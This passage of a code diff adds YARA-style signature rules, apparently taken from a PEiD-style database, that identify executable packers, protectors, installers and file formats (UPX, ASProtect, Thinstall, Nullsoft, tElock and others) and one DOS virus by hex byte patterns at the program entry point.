+		$1 = {FC BE D4 00 40 00 BF 00 ?? ?? 00 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+		$2 = {FC BE D4 00 40 00 BF 00 ?? ?? 00 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Stelth_PE_101__BGCorp_
+{
+	meta:
+		description = "Ste@lth PE 1.01 -> BGCorp"
+	strings:
+		$0 = {BA ?? ?? ?? 00}
+		$1 = {BA ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Rec_027_
+{
+	meta:
+		description = "Rec 0.27"
+	strings:
+		$0 = {06 1E 52 B8 02 30 1E CD 21 86 E0 3D FE 02 73 02 CD 20 0E 1F B4 09 E8 03 00 24 24 EA 5A CD 21 1F 5A B4 30 CD 21 3C 02 73 02 CD 20 BF 01 02 8B 03 90 2B F7 90 BF 06 07 B9 01 02 53 BB EB 04 5B EB FB 9A EB 2D FE 20 E7 E4 9B 20 30 2E 32 37 20 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_121__Markus__Laszlo_
+{
+	meta:
+		description = "UPX 1.21 -> Markus & Laszlo"
+	strings:
+		$0 = {31 2E 32 31 00 55 50 58}
+	condition:
+		$0 at entrypoint
+}
+rule _QuickLink_II_Fax_Graphics_format_
+{
+	meta:
+		description = "QuickLink II Fax Graphics format"
+	strings:
+		$0 = {51 4C 49 49 46 41 58 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_3__Portions_Copyright_c_198397_Borland_
+{
+	meta:
+		description = "Borland Delphi 3 -> Portions Copyright (c) 1983,97 Borland"
+	strings:
+		$0 = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 37 20 42 6F 72 6C 61 6E 64 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Pe123_v2006412_
+{
+	meta:
+		description = "Pe123 v2006.4.12"
+	strings:
+		$0 = {48 E2 F7 C3 51 53 52 E8 DD FF 5A 5B 59 C3 B9 00 00 E2 FE C3}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_015b_
+{
+	meta:
+		description = "CodeCrypt 0.15b"
+	strings:
+		$0 = {EB 02 0F 4D 55 EB 02 0F C7 E8 00 00 00 00 EB 02 83 3D 5D EB 03 0F CA 0F 81 ED 70 23 40 00 52 8B 54 24 08 E8 A2 FD FF FF 89 95 D0 2A 40 00 5A EB 02 0F 4D EB 02 FF 1D EB 02 0F C7 EB 02 0F C0 EB 03 0F CA 0F EB 03 FF 1D 34 EB 02 83 3D EB 02 C7}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_123__Markus__Laszlo_
+{
+	meta:
+		description = "UPX 1.23 -> Markus & Laszlo"
+	strings:
+		$0 = {31 2E 32 33 00 55 50 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V029V031__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.29-V0.31 -> Dwing * 20080321"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 95 AD 91 F3 A5 AD ?? ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF ?? ?? ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 FF 66 24 B1 30 8B 5D 0C 03 D1 FF 16 73 4B 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 20 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 14 FF 56 0C 5B 91 FF 66 3C 07 B0 07 72 02 B0 0A 50 87 5D 10 87 5D 14 89 5D 18 8B D5 03 56 18 FF 56 0C 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D 9C 85 7C 03 00 00 FF 56 04 3C 04 8B D8 72 5F 33 DB D1 E8 13 DB 48 43 91 43 D3 E3 80 F9 05 8D 94 9D 7C 01 00 00 76 2E 80 E9 04 33 C0 8B 55 00 D1 6D 08 8B 12 0F CA 2B 55 04 03 C0 3B 55 08 72 07 8B 55 08 40 01 55 04 FF 56 10}
+	condition:
+		$0 at entrypoint
+}
+rule _BITLOK_31_
+{
+	meta:
+		description = "BITLOK 3.1"
+	strings:
+		$0 = {EB 06 B0 65 B4 4C CD 21 B4 30 CD 21 3C 03 72 F2 2E 8C 1E 00 00 8C DB 83 C3 10 2E 01 1E 3A 00 0E 1F EB 25 EA 83 F9 01 EB 0C EA 5F EB 03 EB F5 EA BE 61 00 EB 3D 74 56 EB 34 EA BF D2 00 EB 38 EA EB 3D 81 FE CF 00 EB 08 33 C0 EB EE EA EB F1 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _LameCrypt__LaZaRus_
+{
+	meta:
+		description = "LameCrypt -> LaZaRus"
+	strings:
+		$0 = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8 ?? ?? 40 00 FF E0}
+		$1 = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8 ?? ?? 40 00 FF E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_2736__Jitit_
+{
+	meta:
+		description = "Thinstall 2.736 -> Jitit"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+		$1 = {9C 60 E8 00 00 00 00 58 BB F3 1C 00 00 2B C3 50 68 00 00 40 00 68 00 26 00 00 68 CC 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CreateInstall_v200335_
+{
+	meta:
+		description = "CreateInstall v2003.3.5"
+	strings:
+		$0 = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_Microsoft_Visual_Cpp__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake Microsoft Visual C++) -> emadicius"
+	strings:
+		$0 = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 83 C4 0C 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+		$1 = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 83 C4 0C 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _APatch_GUI_v11_
+{
+	meta:
+		description = "APatch GUI v1.1"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 ?? ?? ?? ?? 58 83 C0 07 C6 ?? C3}
+		$1 = {52 31 C0 E8 FF FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v123b3__v1241__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v1.23b3 - v1.24.1 -> Jeremy Collake"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 08}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Gleam_100_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Gleam 1.00"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V11__vcasm_
+{
+	meta:
+		description = "VProtector V1.1 -> vcasm"
+	strings:
+		$0 = {B8 1A ED 41 00 B9 EC EB 41 00 50 51 E8 74 00 00 00 E8 51 6A 00 00 58 83 E8 10 B9 B3 00 00 00}
+		$1 = {B8 1A ED 41 00 B9 EC EB 41 00 50 51 E8 74 00 00 00 E8 51 6A 00 00 58 83 E8 10 B9 B3 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _HACKSTOP_v111c_
+{
+	meta:
+		description = "HACKSTOP v1.11c"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 ?? CD 21 B0 ?? B4 4C CD 21 53 BB ?? ?? 5B EB}
+		$1 = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 ?? CD 21 B0 ?? B4 4C CD 21 53 BB ?? ?? 5B EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEcrypt__by_archphase_
+{
+	meta:
+		description = "PEcrypt - by archphase"
+	strings:
+		$0 = {55 8B EC 83 C4 E0 53 56 33 C0 89 45 E4 89 45 E0 89 45 EC ?? ?? ?? ?? 64 82 40 00 E8 7C C7 FF FF 33 C0 55 68 BE 84 40 00 64 FF 30 64 89 20 68 CC 84 40 00 ?? ?? ?? ?? 00 A1 10 A7 40 00 50 E8 1D C8 FF FF 8B D8 85 DB 75 39 E8 3A C8 FF FF 6A 00 6A 00 68 A0 A9 40 00 68 00 04 00 00 50 6A 00 68 00 13 00 00 E8 FF C7 FF FF 6A 00 68 E0 84 40 00 A1 A0 A9 40 00 50 6A 00 E8 ?? ?? ?? ?? E9 7D 01 00 00 53 A1 10 A7 40 00 50 E8 42 C8 FF FF 8B F0 85 F6 75 18 6A 00 68 E0 84 40 00 68 E4 84 40 00 6A 00 E8 71 C8 FF FF E9 53 01 00 00 53 6A 00 E8 2C C8 FF FF A3 ?? ?? ?? ?? 83 3D 48 A8 40 00 00 75 18 6A 00 68 E0 84 40 00 68 F8 84 40 00 6A 00 E8 43 C8 FF FF E9 25 01 00 00 56 E8 F8 C7 FF FF A3 4C A8 40 00 A1 48 A8 40 00 E8 91 A1 FF FF 8B D8 8B 15 48 A8 40 00 85 D2 7C 16 42 33 C0 8B 0D 4C A8 40 00 03 C8 8A 09 8D 34 18 88 0E 40 4A 75 ED 8B 15 48 A8 40 00 85 D2 7C 32 42 33 C0 8D 34 18 8A 0E 80 F9 01 75 05 C6 06 FF EB 1C 8D 0C 18 8A 09 84 ?? ?? ?? ?? ?? 00 EB 0E 8B 0D 4C A8 40 00 03 C8 0F B6 09 49 88 0E 40 4A 75 D1 8D ?? ?? ?? ?? E8 A5 A3 FF FF 8B 45 E8 8D 55 EC E8 56 D5 FF FF 8D 45 EC BA 18 85 40 00 E8 79 BA FF FF 8B 45 EC E8 39 BB FF FF 8B D0 B8 54 A8 40 00 E8 31 A6 FF FF BA 01 00 00 00 B8 54 A8 40 00 E8 12 A9 FF FF E8 DD A1 FF FF 68 50 A8 40 00 8B D3 8B 0D 48 A8 40 00 B8 54 A8 40 00 E8 56 A7 FF FF E8 C1 A1 FF FF}
+		$1 = {55 8B EC 83 C4 E0 53 56 33 C0 89 45 E4 89 45 E0 89 45 EC ?? ?? ?? ?? 64 82 40 00 E8 7C C7 FF FF 33 C0 55 68 BE 84 40 00 64 FF 30 64 89 20 68 CC 84 40 00 ?? ?? ?? ?? 00 A1 10 A7 40 00 50 E8 1D C8 FF FF 8B D8 85 DB 75 39 E8 3A C8 FF FF 6A 00 6A 00 68 A0 A9 40 00 68 00 04 00 00 50 6A 00 68 00 13 00 00 E8 FF C7 FF FF 6A 00 68 E0 84 40 00 A1 A0 A9 40 00 50 6A 00 E8 ?? ?? ?? ?? E9 7D 01 00 00 53 A1 10 A7 40 00 50 E8 42 C8 FF FF 8B F0 85 F6 75 18 6A 00 68 E0 84 40 00 68 E4 84 40 00 6A 00 E8 71 C8 FF FF E9 53 01 00 00 53 6A 00 E8 2C C8 FF FF A3 ?? ?? ?? ?? 83 3D 48 A8 40 00 00 75 18 6A 00 68 E0 84 40 00 68 F8 84 40 00 6A 00 E8 43 C8 FF FF E9 25 01 00 00 56 E8 F8 C7 FF FF A3 4C A8 40 00 A1 48 A8 40 00 E8 91 A1 FF FF 8B D8 8B 15 48 A8 40 00 85 D2 7C 16 42 33 C0 8B 0D 4C A8 40 00 03 C8 8A 09 8D 34 18 88 0E 40 4A 75 ED 8B 15 48 A8 40 00 85 D2 7C 32 42 33 C0 8D 34 18 8A 0E 80 F9 01 75 05 C6 06 FF EB 1C 8D 0C 18 8A 09 84 ?? ?? ?? ?? ?? 00 EB 0E 8B 0D 4C A8 40 00 03 C8 0F B6 09 49 88 0E 40 4A 75 D1 8D ?? ?? ?? ?? E8 A5 A3 FF FF 8B 45 E8 8D 55 EC E8 56 D5 FF FF 8D 45 EC BA 18 85 40 00 E8 79 BA FF FF 8B 45 EC E8 39 BB FF FF 8B D0 B8 54 A8 40 00 E8 31 A6 FF FF BA 01 00 00 00 B8 54 A8 40 00 E8 12 A9 FF FF E8 DD A1 FF FF 68 50 A8 40 00 8B D3 8B 0D 48 A8 40 00 B8 54 A8 40 00 E8 56 A7 FF FF E8 C1 A1 FF FF}
+		$2 = {55 8B EC 83 C4 E0 53 56 33 C0 89 45 E4 89 45 E0 89 45 EC ?? ?? ?? ?? 64 82 40 00 E8 7C C7 FF FF 33 C0 55 68 BE 84 40 00 64 FF 30 64 89 20 68 CC 84 40 00 ?? ?? ?? ?? 00 A1 10 A7 40 00 50 E8 1D C8 FF FF 8B D8 85 DB 75 39 E8 3A C8 FF FF 6A 00 6A 00 68 A0 A9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PseudoSigner_02_NorthStar_PE_Shrinker_13__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [NorthStar PE Shrinker 1.3] --> Anorganix"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_15__Vaska_
+{
+	meta:
+		description = "RCryptor 1.5 -> Vaska"
+	strings:
+		$0 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? ?? EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$1 = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? ?? EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Involuntary1349_
+{
+	meta:
+		description = "Vx: Involuntary.1349"
+	strings:
+		$0 = {BA ?? ?? B9 ?? ?? 8C DD ?? 8C C8 ?? 8E D8 8E C0 33 F6 8B FE FC ?? ?? AD ?? 33 C2 AB}
+		$1 = {BA ?? ?? B9 ?? ?? 8C DD ?? 8C C8 ?? 8E D8 8E C0 33 F6 8B FE FC ?? ?? AD ?? 33 C2 AB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AINEXE_v21_
+{
+	meta:
+		description = "AINEXE v2.1"
+	strings:
+		$0 = {A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8 36 A3 ?? ?? 05 ?? ?? 36 A3 ?? ?? 2E A1 ?? ?? 8A D4 B1 04 D2 EA FE C9}
+		$1 = {A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8 36 A3 ?? ?? 05 ?? ?? 36 A3 ?? ?? 2E A1 ?? ?? 8A D4 B1 04 D2 EA FE C9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_V031__emadicius_
+{
+	meta:
+		description = "[MSLRH] V0.31 -> emadicius"
+	strings:
+		$0 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1}
+		$1 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF EB 0E ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B}
+		$2 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _CryptoLock_v202_Eng__Ryan_Thian_
+{
+	meta:
+		description = "Crypto-Lock v2.02 (Eng) -> Ryan Thian"
+	strings:
+		$0 = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+		$1 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47}
+		$2 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+		$3 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07}
+		$4 = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _CRYPT_Version_17_c_Dismember_COM_
+{
+	meta:
+		description = "CRYPT Version 1.7 (c) Dismember (COM)"
+	strings:
+		$0 = {0E 17 9C 58 F6 C4 01 ?? ?? ?? ?? ?? B4 01 BE ?? ?? BF ?? ?? B9 ?? ?? 68 ?? ?? 68 ?? ?? 68 ?? ?? 57 F3 A4 C3 B0 02 E6 21 60}
+	condition:
+		$0 at entrypoint
+}
+rule _Alpha_BMP_graphics_file_
+{
+	meta:
+		description = "Alpha BMP graphics file"
+	strings:
+		$0 = {FF FF 00 01 64 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NTkrnl_Secure_Suite__NTkrnl_team_h_
+{
+	meta:
+		description = "NTkrnl Secure Suite -> NTkrnl team (h)"
+	strings:
+		$0 = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 79}
+	condition:
+		$0
+}
+rule _Nullsoft_Install_System_v20a0_
+{
+	meta:
+		description = "Nullsoft Install System v2.0a0"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_098_Special_Build__forgot__heXer_
+{
+	meta:
+		description = "tElock 0.98 Special Build -> forgot & heXer"
+	strings:
+		$0 = {E9 99 D7 FF FF 00 00 00 ?? ?? ?? ?? AA ?? ?? 00 00 00 00 00 00 00 00 00 CA}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt32_102__randomkilla_and_acpizer_
+{
+	meta:
+		description = "PE Crypt32 1.02 -> random,killa and acpizer"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 ?? ?? EB ?? 52 4E 44 21}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_V2X_Registered__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect V2.X Registered -> Alexey Solodovnikov"
+	strings:
+		$0 = {68 01 ?? ?? ?? E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Admin_10_EncryptPE_12003518_Sold__Flying_Cat_
+{
+	meta:
+		description = "PE_Admin 1.0 (EncryptPE 1.2003.5.18 Sold) -> Flying Cat"
+	strings:
